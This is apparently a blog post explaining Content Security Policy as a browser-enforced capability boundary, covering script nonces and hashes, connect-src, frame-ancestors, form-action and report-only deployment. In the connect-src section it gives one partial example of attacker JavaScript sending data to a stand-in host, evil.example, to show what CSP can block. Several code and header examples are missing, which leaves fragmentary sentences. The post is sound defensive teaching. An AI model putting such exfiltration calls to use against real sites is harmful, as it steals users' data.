Web applications have become remarkably powerful.
A modern browser application can execute JavaScript, load scripts from Content Delivery Networks (CDNs), fetch APIs, open WebSockets, create workers , embed other applications, load fonts and images, submit forms, and communicate with dozens of different origins.
That flexibility is useful.
It is also a fantastic playground for attackers.
The basic idea is to tell the browser what the application is allowed to load, execute, connect to, and embed — and let the browser enforce those rules.
The current W3C Content Security Policy Level 3 specification defines CSP as a mechanism for controlling resources a page or worker can fetch or execute, along with other security-relevant policy decisions. As of August 2026, the specification is a W3C Working Draft on the Recommendation track.
If you only remember one thing about CSP, CSP is a browser-enforced policy that reduces what a web application is allowed to do.
Note, I used shell-style ‘\’ to signify “continued on the next line” for readability. Use your imagination. For an actual CSP compliant header, this would all be on one line without any ‘\’.
doesn’t satisfy the policy.
The browser can block it.
That’s the fundamental security model.
There is an important qualification here.
CSP is not a replacement for secure application development.
Think about the layers.
CSP is the layer that says_,_ “Even if something gets past the application, let’s see what the browser will allow it to do.”
That’s a very useful security boundary.
One of the primary targets is content injection, particularly cross-site scripting (XSS).
Without CSP, the browser may simply see a perfectly valid script element.
The attacker’s problem has become considerably harder.
And that’s the recurring theme throughout CSP, Reduce the privileges available to potentially compromised content.
The W3C specification explicitly identifies reducing application privilege as one of CSP’s goals.
The most familiar CSP capability is controlling where JavaScript can come from.
This establishes an allowlist for script sources, but CSP goes considerably further than simply saying_, “_JavaScript must come from these domains.”
It can also control inline script and dynamic code execution.
That is important because XSS attacks frequently attempt to turn attacker-controlled content into executable JavaScript.
A restrictive CSP can prevent arbitrary inline JavaScript.
can be blocked unless the policy explicitly permits it.
can run afoul of a restrictive policy.
This encourages applications toward a cleaner separation:
rather than:
From a security perspective, fewer places where executable code can appear is generally a good thing.
Nonces
CSP provides a particularly useful mechanism for applications that genuinely need some inline scripts: nonces.
The server generates a random nonce and places it in the CSP:
Content-Security-Policy: script-src ’nonce-AbCdEf123…
The corresponding script contains the same nonce:
The browser can execute that authorized script.
An injected script without the nonce is rejected.
Conceptually:
This gives the application much more precise control than simply saying, “Inline scripts are okay.”
CSP can also authorize scripts using cryptographic hashes.
Conceptually:
Content-Security-Policy: script-src ‘sha256-…’
The browser can compare the hash of the script against the value authorized by the policy. So, only code matching the expected cryptographic value is authorized to execute.
This is useful for static content.
So, CSP gives developers several different ways of indicating this code is trusted rather than simply all JavaScript is trusted.
Dynamic Code Execution
CSP can also restrict dynamic JavaScript execution mechanisms such as eval() and related constructs.
That matters because dynamic code execution creates a dangerous bridge between data and executable code
A restrictive policy can help prevent an attacker from turning injected strings into executable JavaScript.
This is another example of CSP reducing the privileges of the application.
It’s Not Just About JavaScript
CSP isn’t merely an anti-XSS script filter.
The specification defines controls for many different classes of browser behavior.
Among them are directives governing:
Scripts
Styles
Images
Fonts
Media
Frames
Workers
Objects
Manifests
Connections
Navigation
Forms
Sandboxing
WebRTC
Reporting
The current CSP Level 3 specification contains dedicated sections for fetch directives, document directives, navigation directives, reporting directives, and other policy mechanisms.
That makes CSP much better understood as a browser capability policy.
Controlling API Connections
One of the most interesting CSP capabilities for modern applications is:
connect-src
This controls destinations used by browser networking APIs, including things such as:
fetch()
XMLHttpRequest
WebSockets
EventSource
sendBeacon()
The specification integrates CSP with the Fetch infrastructure and explicitly defines connect-src as a fetch directive.
For example:
Content-Security-Policy: connect-src ‘self’ https://api.example.com ;
Now the browser has a rule saying:
This is particularly interesting from a data-exfiltration perspective.
Imagine an attacker manages to execute JavaScript and tries:
fetch(“https://evil.example/collect ”, {
A restrictive connect-src policy can prevent the browser from making that connection.
CSP therefore isn’t merely about stopping malicious code from executing.
It can also restrict where potentially malicious code can communicate.
CSP and Data Exfiltration
This is one of the most underappreciated aspects of CSP.
Suppose an attacker somehow gets JavaScript execution.
There are two separate questions:
1. Can the attacker execute code?
2. What can that code communicate with?
CSP can address both.
The result is defense in depth .
Even if the attacker gets past one control, another control may limit the attack’s ability to accomplish anything useful.
Controlling Frames
Modern applications frequently use iframes .
CSP provides controls around framing and embedding.
One particularly important directive is:
frame-ancestors
which controls which origins are allowed to embed a resource.
For example:
Content-Security-Policy: frame-ancestors ‘none’;
can tell the browser that the application must not be embedded in a frame.
That’s useful against attacks involving malicious embedding and UI redressing, including clickjacking scenarios.
The CSP specification explicitly identifies controlling which origins may embed a resource as one of CSP’s security goals.
CSP can also impose restrictions on navigation and form submission.
For example:
form-action
controls where forms can submit.
This is another example of the underlying philosophy_,_ don’t merely protect the code. Restrict what the application can do.
An application may have JavaScript that is perfectly legitimate, but CSP can still impose boundaries around where that application is permitted to send information.
Workers and Modern Browser Applications
Today’s web applications aren’t necessarily just HTML + JavaScript. They can include:
Web Workers
Service Workers
Worklets
WebAssembly
WebRTC
WebSockets
CSP Level 3 integrates with several of these browser technologies and defines controls affecting workers, ECMAScript execution, WebAssembly, and WebRTC.
That makes CSP increasingly relevant as browser applications become more application-like.
CSP and Web Applications vs. APIs
This is where an important distinction needs to be made.
CSP is primarily a web application security mechanism
Consider a traditional API:
There may be no browser enforcing CSP at all, if the client is:
curl
A Java application
A mobile application
Another backend service
The API doesn’t magically become more secure because it sends:
Content-Security-Policy: …
A non-browser client can simply ignore it.
So, CSP is not an API security mechanism.
Now, Add a Browser
Consider a single-page application:
Now CSP becomes very relevant.
The web application’s HTTP response can include:
Content-Security-Policy: default-src ‘self’; script-src ‘self’; connect-src ‘self’ https://api.example.com ;
The browser enforces that policy while executing the application.
So:
The API itself isn’t enforcing CSP.
The browser is.
CSP vs. CORS
This is also why CSP should not be confused with CORS.
They solve different problems.
CSP asks: Where is my browser-based application allowed to connect?
CORS asks: Which browser origins are allowed to read my server’s cross-origin response?
Conceptually:
versus:
A modern application may need both.
CSP Does Not Replace OAuth2
The same principle applies to OAuth2 and OIDC .
Suppose we have:
This uses:
Delegated authorization
Access tokens
Refresh tokens
Client authentication
Resource authorization
Sender-constrained tokens (use of DPoP for example)
CSP is concerned with the browser:
What scripts can execute?
Where can resources load from?
Where can JavaScript connect?
Who can embed the application?
Can inline code execute?
Can dynamic code execute?
These are complementary controls.
OAuth2: “What is this client allowed to access?”
CSP: “What is this browser application allowed to do?”
This represents different security layers.
A Useful CSP Starting Point
A restrictive application might start with something along these lines:
Content-Security-Policy: \https://api.example.com ; \
But don’t blindly copy that policy into production.
Every application is different.
The goal should be to allow exactly what the application needs, and nothing more.
Start With Report-Only
Deploying CSP can be disruptive.
If your application depends on ten CDNs, three analytics platforms, a payment provider, a WebSocket service, and a JavaScript framework doing something wonderfully clever with dynamic code, an aggressively restrictive CSP may cause a small amount of excitement.
Fortunately, CSP provides a reporting-only mode:
Content-Security-Policy-Report-Only: script-src ‘self’;
Instead of immediately enforcing the policy, the browser can report violations.
That gives you a useful deployment cycle:
The specification defines both the Content-Security-Policy and Content-Security-Policy-Report-Only response headers and includes a reporting model for violations.
CSP can be delivered through an HTTP response header:
Content-Security-Policy: …
or, in appropriate circumstances, through HTML:
But, the HTTP header is generally the better mechanism for a serious security policy.
It also provides capabilities that aren’t available through
The CSP specification explicitly defines both delivery mechanisms and their associated behavior.
CSP Is a Capability Boundary
Perhaps the best way to think about CSP is not that it’s an XSS header.
That’s true, but incomplete.
Think of CSP as a browser-enforced capability boundary.
Your application has capabilities:
Execute JavaScript
Load Resources
Call APIs
Open WebSockets
Load Fonts
Display Images
Embed Frames
Submit Forms
Create Workers
Execute Dynamic Code
CSP lets you put boundaries around those capabilities.
That is much closer to what CSP actually provides.
The Security Model
The CSP security model can be summarized as:
This is fundamentally different from relying entirely on application code to police itself.
The browser becomes an additional enforcement point.
And, attackers don’t get to vote on the policy.
What CSP Does Not Do
CSP is powerful, but there are plenty of things it does not solve.
It does not replace:
It also doesn’t protect a backend API simply because the API happens to emit a CSP header.
The browser is the enforcement environment.
That distinction is critical.
Summary
Content Security Policy is one of those web security mechanisms that is easy to describe as a header that stops XSS.
That’s selling it short.
CSP provides a policy framework for reducing the privileges of web applications inside the browser.
It can control:
What scripts execute
Where scripts come from
Which inline scripts are permitted
Which code hashes or nonces are trusted
Whether dynamic code execution is allowed
Where styles come from
Where images and other resources come from
Which APIs JavaScript can contact
Which WebSocket endpoints can be used
Who can embed the application
Where forms can submit
Which workers can execute
Whether certain browser capabilities are available
Where violations are reported
And, that’s why CSP fits so nicely into a layered security architecture.
OAuth2 ensures the client is authorized to access this resource.
TLS protects the communication channel.
CORS ensures the browser origin may read a particular cross-origin response.
CSP ensures a web application is allowed to do these things (the browser will enforce those limits.)
None of them solves the entire security problem.
That’s the point.
Security isn’t one wall. It’s a collection of walls, doors, locks, alarms, and increasingly annoyed security guards.
CSP is one of the browser’s security guards.
And, unlike the average security guard, it doesn’t get tired, doesn’t accept bribes, and doesn’t care how convincing your JavaScript looks.
It just checks the policy and says, “Nope.”
Notes
AI / GenAI / ChatGPT / etc were not used to generate the text of this article.
ChatGPT was used to generate the images.
I used em dashes in my writing before the current GenAI wave was a thing. Not planning on changing now.
Names have been changed to protect the guilty.
None of the hostnames or users used in examples actually exist.
Feel free to post any comments or suggestions below.
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Do not attempt to use any ideas, code, or programs discussed here in a production environment without first testing it in a non-production environment.
I’m not responsible for the spontaneous combustion of the known universe or anything else bad that happens to you today as a result of your having read this blog post.
